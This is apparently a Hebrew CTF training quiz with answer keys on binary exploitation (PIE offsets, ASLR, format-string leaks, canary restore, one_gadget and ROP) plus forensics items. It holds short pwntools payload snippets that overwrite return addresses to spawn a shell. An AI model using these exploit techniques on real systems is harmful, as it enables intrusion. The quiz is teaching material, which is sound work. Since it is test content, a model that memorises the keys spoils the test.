שאלה 3.1 — PIE · ב-Binary עם PIE, ROPgadget מצא pop rdi; ret @ 0x1500. מה הכתובת האמיתית בזמן ריצה?

pop rdi; ret @ 0x1500
  • א. pie_base + 0x1500: ב-PIE הכתובת 0x1500 היא רק היסט מבסיס משתנה
  • ב. 0x1500 תמיד: הכתובת קבועה בכל הרצה ואינה תלויה כלל בבסיס ה-PIE כאן
  • ג. 0x401500 תמיד: הכתובת הבסיסית הקבועה בתוספת ההיסט של ה-Gadget הזה
  • ד. libc_base + 0x1500: ההיסט מחושב מבסיס ספריית libc ולא מבסיס ה-PIE
תשובה: א

✓ תשובה: א) — PIE binary: ROPgadget מציג offsets (כתובות relative לתחילת הbinary = 0x0). בזמן ריצה: binary נטען ל-pie_base (אקראי). real_gadget = pie_base + offset. בלי PIE: binary נטען ל-0x400000 → כתובת = 0x400000 + offset = 0x401500.

שאלה 3.2 — PIE Leak · Format String Leak העלה: %21$p = 0x55d4a2001234. ב-IDA/Ghidra ראינו שכתובת הcaller היא offset 0x1234. מה pie_base?

%21$p = 0x55d4a2001234
  • א. 0x55d4a2000000: pie_base הוא הכתובת שדלפה פחות ההיסט 0x1234 ממנה
  • ב. 0x55d4a2001234: הכתובת שדלפה עצמה, ללא חיסור ההיסט 0x1234 ממנה כלל
  • ג. 0x55d4a2001234 + 0x1234: חיבור ההיסט אל הכתובת במקום חיסורו ממנה
  • ד. 0x1234: ההיסט עצמו בלבד, ללא צירופו כלל אל כתובת הבסיס שדלפה כאן
תשובה: א

✓ תשובה: א) — pie_base = leaked - offset. leaked = 0x55d4a2001234. offset = 0x1234. pie_base = 0x55d4a2001234 - 0x1234 = 0x55d4a2000000. כל כתובת עכשיו = pie_base + offset_from_binary.

שאלה 3.3 — Partial Overwrite · מה הוא Partial Overwrite ומתי משתמשים בו?

# ─── one_gadget ──────────────────────────────────────────────
# מחפש Gadgets ב-libc שמריצים execve("/bin/sh") ישירות!
# אין צורך ב: pop rdi + binsh_addr + system
# רק: JMP/CALL ל-one_gadget = Shell (אם constraints מתקיימים)

$ one_gadget /lib/x86_64-linux-gnu/libc.so.6

0xe3b2e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xe3b31 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xe3b34 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

# ─── שימוש ב-Exploit ─────────────────────────────────────────
from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# אחרי libc Leak:
libc.address = leaked_puts - libc.sym['puts']

# נסה one_gadgets לפי סדר (הראשון שConstraints שלו מתקיימים):
one_gadgets = [0xe3b2e, 0xe3b31, 0xe3b34]
for og in one_gadgets:
    og_addr = libc.address + og
    payload = b'A' * offset + p64(og_addr)
    # נסה — אם Shell: עצור. אם Crash: נסה הבא
  • א. כתיבה אל תוך חלק מה-Buffer בלבד, מבלי לגלוש כלל אל מעבר לגבולותיו
  • ב. כתיבת 2 הבתים הנמוכים בלבד של כתובת החזרה; ב-PIE נדרש רק brute קטן
  • ג. כתיבה אל תוך GOT entry חלקי בלבד כדי לשנות רק חלק מן הכתובת שבו
  • ד. שיטה לרוקן את מטמון ה-tcache של המקצה (allocator) עוד לפני הניצול
תשובה: ב

✓ תשובה: ב) — כל כתובת PIE: [PIE_base אקראי][12 bits קבועים = offset בתוך Page]. כתיבת 2 bytes נמוכים = שינוי ה-12 bits הידועים + 4 bits אקראיים מה-PIE_base. 4 bits = 16 ניסיונות Brute Force. נפוץ כשיש Crash-and-Restart service.

שאלה 4.1 — ASLR · ב-Binary ללא PIE אבל עם ASLR, מה הכתובת של main בזמן ריצה?

main
  • א. אקראית: מנגנון ה-ASLR מרנדם את כל הכתובות כולל את זו של main כאן כן
  • ב. זה תלוי לחלוטין בגרסה הספציפית של ספריית libc המותקנת כעת במערכת
  • ג. הכתובת 0x0 תמיד, מכיוון שהבינארי נטען למקום קבוע ומאופס בזיכרון כאן
  • ד. קבועה: ASLR אינו משפיע על בינארי ללא PIE, שנטען תמיד אל 0x400000
תשובה: ד

✓ תשובה: ד) — ASLR (Address Space Layout Randomization) מרנדם: libc, Stack, Heap, vDSO. לא מרנדם: Binary עצמו (ללא PIE). אם checksec מציג "No PIE (0x400000)" → binary תמיד ב-0x400000 → main תמיד ב-offset ידוע.

שאלה 4.2 — one_gadget · מה יתרון one_gadget על שרשרת ROP רגילה (pop rdi + binsh + system)?

  • א. מנגנון one_gadget פשוט רץ מהר יותר בזמן הריצה בפועל של הניצול הזה
  • ב. מנגנון one_gadget אינו זקוק כלל לשלב Leak של כתובת ספריית libc כאן
  • ג. מנגנון one_gadget עובד היטב גם ללא כל ידיעה של בסיס libc במערכת כאן
  • ד. כתובת אחת ב-Payload במקום שלוש; שימושי במגבלת גודל או בשליטה ב-rdi
תשובה: ד

✓ תשובה: ד) — one_gadget = Gadget בlibc שמכיל כבר את כל הלוגיקה לexecve("/bin/sh"). Payload: b'A'*offset + p64(og_addr). רק 1 כתובת במקום 3+. אבל: Constraints — רגיסטרים מסוימים חייבים להיות NULL. לא תמיד עובד; לכן מנסים כמה gadgets.

שאלה 4.3 — Dry Run ASLR Bypass · leaked_puts = 0x7f3a8c456790 libc.sym['puts'] = 0x84790 libc.sym['system'] = 0x52290 libc.search(b'/bin/sh') → offset 0x1b45bd libc.address = leaked_puts - libc.sym['puts'] system = libc.sym['system'] binsh = next(libc.search(b'/bin/sh\x00')) # מה binsh?

leaked_puts = 0x7f3a8c456790
libc.sym['puts']   = 0x84790
libc.sym['system'] = 0x52290
libc.search(b'/bin/sh') → offset 0x1b45bd

libc.address = leaked_puts - libc.sym['puts']
system  = libc.sym['system']
binsh   = next(libc.search(b'/bin/sh\x00'))
# מה binsh?
  • א. 0x1b45bd בלבד: ההיסט של המחרוזת בתוך libc, ללא צירופו כלל אל הבסיס
  • ב. 0x7f3a8c456790 + 0x1b45bd: חיבור ההיסט אל כתובת puts שדלפה במקום לבסיס
  • ג. libc.address + 0x1b45bd: בסיס libc בתוספת ההיסט של המחרוזת "/bin/sh"
  • ד. 0x52290: ההיסט של הפונקציה system, שאינו קשור כלל אל המחרוזת "/bin/sh"
תשובה: ג

✓ תשובה: ג) — libc.address = 0x7f3a8c456790 - 0x84790 = 0x7f3a8c3d2000. binsh = libc.address + 0x1b45bd = 0x7f3a8c3d2000 + 0x1b45bd = 0x7f3a8c5865bd. pwntools: כשמגדירים libc.address, libc.sym['system'] וlibc.search מחזירים כבר כתובות מוחלטות!

גאמא סגנון א׳ · checksec ./chal: Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledמה הסדר הנכון של הפעולות?

checksec ./chal:
  Arch:   amd64-64-little
  RELRO:  Full RELRO
  Stack:  Canary found
  NX:     NX enabled
  PIE:    PIE enabled
  • א. BOF ישיר ← GOT Overwrite ← Shell, אף שכל ההגנות כאן פעילות כנגד זה כן
  • ב. הזרקת Shellcode אל ה-Stack והרצתו משם, אף שה-NX המופעל חוסם זאת לגמרי
  • ג. Format String Leak (Canary+PIE+libc) ← BOF עם Canary Restore ← ROP ← Shell
  • ד. ריסוס Heap (Heap Spray) ואז קבלת Shell, שאינו רלוונטי כלל למצב הזה כאן
תשובה: ג

✓ תשובה: ג) — כל ההגנות פעילות: Canary → חייב Leak+Restore. PIE → חייב Leak+offset. NX → אין Shellcode, צריך ROP. Full RELRO → GOT R/O, אין GOT Overwrite. Flow: Leak הכל → BOF+Canary→ROP→system.

גאמא סגנון ב׳ — Dry Run Canary · # Stack: [buf:40][canary:8][rbp:8][ret:8] # Format String Leak: %7$p = 0xabcdef1234560000 # (Canary נמצא ב-param 7) canary = 0xabcdef1234560000 payload = b'A' * 40 payload += p64(canary) payload += p64(0) payload += p64(win_addr) # win() @ pie_base+0x1200 conn.sendlineafter(b'> ', payload)מה יקרה?

# Stack: [buf:40][canary:8][rbp:8][ret:8]
# Format String Leak: %7$p = 0xabcdef1234560000
# (Canary נמצא ב-param 7)

canary = 0xabcdef1234560000
payload = b'A' * 40
payload += p64(canary)
payload += p64(0)
payload += p64(win_addr)   # win() @ pie_base+0x1200
conn.sendlineafter(b'> ', payload)
  • א. ה-Canary עובר, ו-win() נקראת ← Flag/Shell; ה-LSB 0x00 תקין לבדיקה כאן
  • ב. נגרם Crash, מכיוון שה-Canary אינו תקין בשל הבית הנמוך 0x00 שבתוכו כאן
  • ג. ה-Canary עובר את הבדיקה, אך הכתובת win_addr שנשלחה אליו שגויה לגמרי
  • ד. מנגנון ה-abort() מופעל בשל כשל שהתגלה בבדיקת ה-Canary כאן בעת ה-ret
תשובה: א

✓ תשובה: א) — הCanary שנשלח = הCanary שנחשף → XOR = 0 → עובר בדיקה. p64(canary) = Little Endian, כולל ה-\x00 הנכון. rbp=0 (junk). ret → win_addr. win() מריצה → Flag. הPayload נכון!

גאמא סגנון ג׳ — Full Exploit Flow · Binary: Canary+NX+PIE+Full RELRO. יש printf(buf) (Format String) ויש gets(buf) (BOF). איזו פגיעות תשמש ל-Leak ואיזו ל-Shell?

  • א. gets(buf) משמש דווקא ל-Leak ואילו printf(buf) משמש להשגת ה-Shell בסוף
  • ב. שתי הפגיעויות משמשות יחד להשגת Shell, ללא כל שלב Leak נפרד ביניהן כאן
  • ג. רק printf(buf) לבדו מספיק כדי לבצע את כל הניצול מתחילתו ועד סופו כאן
  • ד. printf(buf) ל-Leak (Format String ← %p) ו-gets(buf) ל-BOF וקבלת Shell
תשובה: ד

✓ תשובה: ד) — Format String (printf(buf)): כלי Leak מושלם. %N$p חושף Stack values = Canary, Return Addresses (PIE), libc pointers. gets(buf): BOF ללא הגבלה. לאחר Leak: שלח gets payload עם Canary Restore + ROP Chain → Shell. שתי פגיעויות, כל אחת לתפקידה.

שאלה 5.1 [קל] · הרצת file secret.jpg וקיבלת Zip archive data. מה הפעולה הבאה?

file secret.jpg
  • א. התמונה פשוט פגומה: הנחה שגויה, אף שזיהוי Zip archive data מעיד על ארכיון מוסתר ולא על נזק, ולכן יש לחלץ אותו עם binwalk או שינוי סיומת כן
  • ב. צריך לפתוח כתמונה רגילה: הנחה שגויה, אף שהחתימה מזהה Zip ולא JPEG תקין, ולכן הצעד הנכון הוא חילוץ הארכיון המוסתר ולא צפייה כתמונה
  • ג. לשנות את הסיומת ל-zip ולפתוח, או להריץ binwalk לחילוץ — הקובץ הוא Polyglot שבו הוסתר ארכיון בתוך תמונה, ולכן החתימה מזהה אותו כ-Zip
  • ד. יש להצפין את הקובץ מחדש: הנחה שגויה, אף שאין כאן צורך בהצפנה, שכן file חשף ארכיון Zip מוסתר שיש לחלץ עם binwalk או בשינוי הסיומת ל-zip
תשובה: ג

✓ תשובה נכונה: ג — file קורא Magic Bytes, לא סיומת. 'Zip archive' = Polyglot (Zip מוסתר ב-JPG). חלץ: binwalk -e secret.jpg או שנה ל-.zip ופתח.

שאלה 5.2 [בינוני] · מה זה LSB Steganography?

LSB Steganography
  • א. הצפנת התמונה כולה: הנחה שגויה, אף ש-Steganography מסתיר מידע בתוך התמונה ואינו מצפין אותה, ולכן LSB מטמין ביטים ואינו הופך אותה לבלתי-קריאה
  • ב. דחיסת התמונה לגודל קטן: הנחה שגויה, אף ש-LSB אינו קשור לדחיסה, אלא לשינוי הביט הנמוך של הפיקסלים כדי להסתיר בהם מידע מבלי שייראה לעין
  • ג. שינוי הביט הנמוך ביותר (LSB) של כל Pixel כדי להסתיר מידע — השינוי אינו נראה לעין האנושית, ומאפשר להטמין ביט נתונים אחד בכל פיקסל בתמונה
  • ד. שינוי הביט הגבוה של Pixel: הנחה שגויה, אף ששינוי הביט הגבוה היה נראה בבירור לעין, ולכן ההסתרה נעשית דווקא בביט הנמוך ביותר שאינו מורגש כן
תשובה: ג

✓ תשובה נכונה: ג — LSB = הסתרת ביט בביט הנמוך של כל ערוץ צבע בפיקסל. שינוי בלתי-מורגש לעין. חילוץ: כלים כמו zsteg, stegsolve. נפוץ מאוד ב-CTF Forensics.

שאלה 5.3 [קשה] · ב-Log: Failed password for root ... 50 ניסיונות בשנייה. מה קורה?

Failed password for root ... 50 ניסיונות בשנייה
  • א. המשתמש שכח סיסמה: הנחה שגויה, אף שאדם אינו מקליד עשרות ניסיונות בשנייה, ולכן הקצב הגבוה מעיד על כלי אוטומטי במתקפת Brute Force על SSH
  • ב. תקלת רשת זמנית: הנחה שגויה, אף שתקלת רשת אינה מייצרת ניסיונות סיסמה כושלים חוזרים, והדפוס הזה מעיד בבירור על מתקפת פיצוח אוטומטית
  • ג. עדכון מערכת שגרתי: הנחה שגויה, אף שעדכונים אינם מנסים להתחבר כ-root שוב ושוב, ולכן ריבוי הכשלים המהיר מצביע על Brute Force על שירות SSH
  • ד. SSH Brute Force — קצב של עשרות ניסיונות כושלים בשנייה מאותה כתובת מעיד על ניסיון פיצוח אוטומטי של סיסמת root, ולכן זו מתקפה פעילה
תשובה: ד

✓ תשובה נכונה: ד — 50 ניסיונות/שנייה = כלי אוטומטי (Hydra/Medusa) ב-SSH Brute Force. הגנה: fail2ban, מפתחות במקום סיסמאות, ו-Rate Limiting על הפורט.